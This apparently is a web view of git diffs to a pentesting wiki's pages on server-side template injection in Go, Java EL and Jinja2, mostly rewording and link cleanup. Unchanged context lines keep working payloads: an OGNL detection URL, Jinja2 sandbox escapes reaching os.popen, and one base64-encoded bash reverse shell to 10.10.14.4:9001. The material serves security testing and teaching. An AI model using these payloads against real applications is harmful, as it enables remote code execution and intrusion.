||||
Therefore, you will probably **need the source code**. A potential source code for something like that will look like:
|
||||
For RCE via SSTI in Go, object methods can be invoked. For example, if the provided object has a `System` method executing commands, it can be exploited like `{{ .System "ls" }}`. Accessing the source code is usually necessary to exploit this, as in the given example:
|
||||
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
|
@ -1053,13 +1014,10 @@ If you think it could be useful, read:
|
|||
|
||||
## Tools
|
||||
|
||||
{% embed url="https://github.com/Hackmanit/TInjA" %}
|
||||
|
||||
{% embed url="https://github.com/vladko312/sstimap" %}
|
||||
|
||||
{% embed url="https://github.com/epinna/tplmap" %}
|
||||
|
||||
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
|
||||
* [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
|
||||
* [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
|
||||
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||||
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
## Brute-Force Detection List
|
||||
|
||||
|
@ -1069,7 +1027,7 @@ If you think it could be useful, read:
|
|||
|
||||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
|
||||
* [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -12,19 +12,20 @@
|
|||
|
||||
</details>
|
||||
|
||||
## Basic Information
|
||||
## Bsic Info
|
||||
|
||||
EL provides an important mechanism for enabling the presentation layer (web pages) to communicate with the application logic (managed beans).
|
||||
Expression Language (EL) is integral in JavaEE for bridging the presentation layer (e.g., web pages) and application logic (e.g., managed beans), enabling their interaction. It's predominantly used in:
|
||||
|
||||
### Where is it used ?
|
||||
- **JavaServer Faces (JSF)**: For binding UI components to backend data/actions.
|
||||
- **JavaServer Pages (JSP)**: For data access and manipulation within JSP pages.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: For facilitating web layer interaction with managed beans.
|
||||
|
||||
1. **Spring Framework**: Security, Data, …
|
||||
2. **Any place developers use it by SpEL API**
|
||||
3. For languages it can be used in Java, Kotlin, Scala, and other JVM based technologies.
|
||||
**Usage Contexts**:
|
||||
|
||||
The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages (JSP) technology, and Contexts and Dependency Injection for Java EE (CDI). The EL can also be used in stand-alone environments.
|
||||
- **Spring Framework**: Applied in various modules like Security and Data.
|
||||
- **General Use**: Through SpEL API by developers in JVM-based languages like Java, Kotlin, and Scala.
|
||||
|
||||
Java applications are **easily recognizable** as they tend to use extensions as **.jsp** or **.jsf**, throw **stack errors** and use **term like "Serverlet" in the headers**.
|
||||
EL's is present in JavaEE technologies, standalone environments, and recognizable through `.jsp` or `.jsf` file extensions, stack errors, and terms like "Servlet" in headers. However, its features and the use of certain characters can be version-dependent.
|
||||
|
||||
{% hint style="info" %}
|
||||
Depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**.
|
||||
|
@ -81,21 +82,9 @@ Enter a String to evaluate:
|
|||
|
||||
Note how in the previous example the term `{5*5}` was **evaluated**.
|
||||
|
||||
## **CVE Example**
|
||||
## **CVE Based Tutorial**
|
||||
|
||||
From you have already see I bet you know what is coming. If developers are using SpEL with user input, we need to create payload with injection. Let’s check one that allow remote code execution (RCE). It was created as part of exploit for [CVE-2017–8046](https://github.com/m3ssap0/SpringBreakVulnerableApp).
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1933/1\*qyl6ZLeJOyXmxmdqMcT8tg.png)
|
||||
|
||||
It consist of 3 parts:
|
||||
|
||||
* black color — copy result of command execution directly to output stream of HTTP request
|
||||
* red color — get Java Runtime and execute command in system
|
||||
* blue color — String containing command: `cmd /c dir`. To make it more robust individual characters of command are decoded from numbers.
|
||||
|
||||
Result of executing it:
|
||||
|
||||
![Image for post](https://miro.medium.com/max/982/1\*APSYwU3qbw0rNJAd2xhdNA.png)
|
||||
Check it in **this post: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
|
||||
|
||||
## Payloads
|
||||
|
||||
|
@ -130,14 +119,14 @@ Result of executing it:
|
|||
* Burp detection
|
||||
|
||||
```bash
|
||||
gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
|
||||
gk6q${"zkz".toString().replace("k", "x")}doap2
|
||||
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
|
||||
```
|
||||
|
||||
* J2EE detection
|
||||
|
||||
```bash
|
||||
#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
|
||||
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
|
||||
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
|
||||
```
|
||||
|
||||
|
|
|
@ -46,10 +46,6 @@ If the Debug Extension is enabled, a `debug` tag will be available to dump the c
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
|
||||
|
@ -67,11 +63,6 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
|
|||
<dd>{{ value|e }}</dd>
|
||||
{% endfor %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
|
||||
## **Jinja Injection**
|
||||
|
@ -81,7 +72,7 @@ First of all, in a Jinja injection you need to **find a way to escape from the s
|
|||
### Accessing Global Objects
|
||||
|
||||
For example, in the code `render_template("hello.html", username=username, email=email)` the objects username and email **come from the non-sanboxed python env** and will be **accessible** inside the **sandboxed env.**\
|
||||
\*\*\*\*Moreover, there are other objects that will be **always accessible from the sandboxed env**, these are:
|
||||
Moreover, there are other objects that will be **always accessible from the sandboxed env**, these are:
|
||||
|
||||
```
|
||||
[]
|
||||
|
@ -134,12 +125,6 @@ dict.__mro__[-1]
|
|||
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
|
@ -215,11 +200,6 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% raw %}
|
||||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
|
||||
* [**Return here for more options to access a global object**](jinja2-ssti.md#accessing-global-objects)
|
||||
|
@ -265,10 +245,6 @@ Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
{% raw %}
|
||||
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
|
||||
## Jinja Injection without **\<class 'object'>**
|
||||
|
|
Loading…
Reference in a new issue